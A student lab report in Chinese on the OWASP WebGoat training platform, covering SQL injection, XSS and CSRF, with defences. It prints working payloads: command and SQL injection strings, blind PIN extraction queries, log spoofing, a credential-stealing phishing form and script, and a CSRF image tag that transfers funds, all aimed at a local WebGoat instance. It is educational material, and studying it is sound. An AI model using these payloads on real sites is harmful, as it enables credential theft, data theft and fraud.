2018-2019-2 20165328《网络对抗技术》Exp9 Web安全基础

实验要求

目的: 理解常用网络攻击技术的基本原理
内容:
1、SQL注入攻击
2、XSS攻击
3、CSRF攻击

基础问题及回答:

SQL注入攻击原理,如何防御:

  • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些'--#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
  • 防御:
    检查变量数据类型和格式
    对无法确定固定格式的变量,进行特殊符号过滤或转义处理
    绑定变量,使用预编译语句

XSS攻击的原理,如何防御:

  • 全称为跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
  • 防御:
    在表单提交或者url参数传递前,对需要的参数进行过滤
    检查用户输入的内容中是否有非法内容

CSRF攻击原理,如何防御:

  • 全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF可以看做是XSS攻击的一种。
  • CSRF的攻击分为两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用<img>等标签或者使用Javascript脚本。
  • 防御:
    通过referer、token或者验证码来检测用户提交
    尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作
    避免全站通用的cookie,严格设置cookie的域

实验内容:

WebGoat准备工作

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。
  • 下载jar包:webgoat-container-7.0.1-war-exec.jar:
  • 在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端
  • 浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat(在界面里我们可以看到给出了两组用户名和密码,可以直接使用登陆)
  • 成功登录后可在左侧看到实践课程

SQL注入攻击

命令注入(Command Injection)

目标:能够在目标主机上执行任何系统命令
  • 点击Injection Flaws-Command Injection
  • 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
  • 点击view,可查看到命令执行结果

数字型SQL注入(Numeric SQL Injection)

目标:显示天气情况
  • 点击Injection Flaws-Numeric SQL Injection
  • 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

    点击Go,可以看到攻击成功

日志欺骗(Log Spoofing)

目标:使用户名为admin的用户在日志中显示成功登录
  • 点击Injection Flaws-Log Spoofing
  • User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示
  • 输入密码后点击Login,可以看到webgoatLogin Fail那行显示,我们自己添加的语句在下一行显示

    *此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。
    在用户名中输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息

字符串型注入(String SQL Injection)

目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
  • 点击Injection Flaws-String SQL Injection
  • 输入查询的用户名Smith' or 1=1--
  • 操作中我们使用了'提前闭合"",插入永真式1=1,且--注释掉后面的内容,这样就能select表里面的所有数据
  • 结果如下:

LAB: SQL Injection

使用SQL注入绕过认证。
  • 在密码框输入' or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
  • 我们在密码框右键选择inspect Element审查网页元素对长度进行修改
  • 重新输入' or 1=1 --,登录成功

数据库后门(Database Backdoors)

数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
  • 输入101,得到该用户的信息

    可以发现,输入的语句没有验证,很容易进行 SQL 注入。
  • 输入注入语句101; update employee set salary=10000(这里执行了两个语句,中间需要用分号分隔)
  • 设置触发器:
  • 由于WebGoat 使用的是MySQL数据库,不支持触发器,因此该课程并不能在这里真正实现。

数字型盲注入(Blind Numeric SQL Injection)

某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
  • 服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;
  • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
  • 使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效:
101 AND 1=1
101 AND 1=2`

第一个语句中,两个条件都成立,所以页面返回Account number is valid;而第二条则返回帐号无效

  • 现在针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000
  • 不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
  • 在查询框中输入2364并提交

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
  • 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>
  • XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单
  • 现在我们需要一段脚本:
<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。

  • 将上面两段代码合并搜索
<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
  • 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

CSRF攻击

Cross Site Request Forgery(CSRF)

CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
  • 点击XSS-Cross Site Request Forgery(CSRF)
  • 查看页面右下方Parameters中的srcmenu值,我的分别为309900
  • Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
  • 输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

实验感想

此次的实验内容较多,难度稍大,但在认真完成后才发现其实也不是太难,很多都在之前的实验或多或少接触过,总体而言,获益匪浅。

猜你喜欢

转载自www.cnblogs.com/dky20165328/p/10925798.html